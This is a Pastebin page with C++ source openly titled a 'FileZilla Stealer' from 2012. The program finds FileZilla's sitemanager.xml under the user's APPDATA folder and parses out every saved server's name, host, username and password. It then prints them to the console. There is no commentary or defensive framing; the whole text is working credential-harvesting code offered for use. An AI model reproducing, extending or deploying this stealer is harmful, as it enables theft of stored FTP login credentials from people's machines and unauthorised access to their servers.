Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // FilleZilla Stealer by den5e //
- // 2012 //
- #include <iostream>
- #include <cstdlib>
- #include <fstream>
- #include <string>
- #include <vector>
- // Gets string between xml tags //
- std::string getEntry(std::string data, std::string first, std::string second);
- // FileZilla Login Data//
- struct FData{
- std::string name; // Name //
- std::string host; // Hostname //
- std::string user; // Username //
- std::string pass; // Password //
- };
- // STL Vector //
- std::vector<FData> fdata;
- int main(){
- // Finding APPDATA //
- std::string path = std::getenv("APPDATA");
- path += "\\FileZilla\\sitemanager.xml";
- std::cout << path << std::endl;
- std::ifstream file;
- file.open(path.c_str());
- if(file.is_open()){
- int current = -1;
- while(!file.eof()){
- char buffer[1024];
- file.getline(buffer, 1024);
- std::string bf = buffer;
- // If new open server tag, add new FData to vector //
- if(bf.find("<Server>") != std::string::npos){
- current++;
- fdata.push_back(FData());
- }else if(bf.find("<Name>") != std::string::npos){
- fdata[current].name = getEntry(bf, "<Name>", "</Name>");
- }else if(bf.find("<Host>") != std::string::npos){
- fdata[current].host = getEntry(bf, "<Host>", "</Host>");
- }else if(bf.find("<User>") != std::string::npos){
- fdata[current].user = getEntry(bf, "<User>", "</User>");
- }else if(bf.find("<Pass>") != std::string::npos){
- fdata[current].pass = getEntry(bf, "<Pass>", "</Pass>");
- }
- }
- }
- file.close();
- // Print shit out //
- for(int i = 0; i < fdata.size(); i++){
- std::cout << "--------------------------------\n";
- std::cout << "Name: " << fdata[i].name << std::endl;
- std::cout << "Host: " << fdata[i].host << std::endl;
- std::cout << "User: " << fdata[i].user << std::endl;
- std::cout << "Pass: " << fdata[i].pass << std::endl;
- std::cout << "--------------------------------\n";
- }
- char f;
- std::cin >> f;
- return 0;
- }
- std::string getEntry(std::string data, std::string first, std::string second){
- int index1 = data.find(first) + first.size();
- int index2 = data.find(second);
- return data.substr(index1, index2 - index1);
- }
Add Comment
Please, Sign In to add comment